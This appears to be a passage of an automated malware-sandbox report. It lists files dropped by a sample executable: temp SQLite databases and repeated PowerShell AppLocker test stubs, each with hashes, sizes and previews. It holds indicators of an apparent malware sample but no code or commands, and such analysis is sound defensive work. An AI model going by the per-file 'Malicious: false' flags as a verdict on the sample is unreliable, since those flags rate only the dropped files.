SHA-256:	536023F6D34C6E5DF764DCEAB51DD6A87253833327CDA9886F07F97EA30C2902
SHA-512:	F18334E47450299C5A07E1CD6725F0636A7319ED25A8F43F70D20321B0FD32B2D7121777E32675D70C685F11349C935CA7A4F1C794CB0EA9D37EE8D0EC868664
Malicious:	false
Preview:	oHbKdNuSLaUH8LvLP9D8cYzXo

C:\Users\user\AppData\Local\Temp\ZrRXSXZJDP

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_02rxwqha.tys.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1bevsjyp.buf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1g4oham0.b0o.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1xfzizel.iqq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2hje4cqn.sef.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2maxdotq.2sj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2zjwvgic.pci.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3bkzfecc.5h1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3vcbxxcg.1zl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3ymgu1rl.je4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4eqiwsgg.dbp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5i4l2loo.d4w.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a0yoigfm.tg4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_azvp4ty3.gyz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_crojk415.wav.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dofncp2w.mns.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gb3ofaxz.0wk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lqyckspo.iow.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tzzjwfzm.sjd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uhjfj2hs.vcr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vdjvwedt.qw5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vfwbaens.koq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yse52322.mth.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zfl2snej.e5o.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\a0Y42AlDYQ

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\a7SvKqYk3E

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aEbOfLDx6a

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aMCfroMv32

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b5UBCGtBxN

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bGg1rpz5Ij

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bY20csH5Sf

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
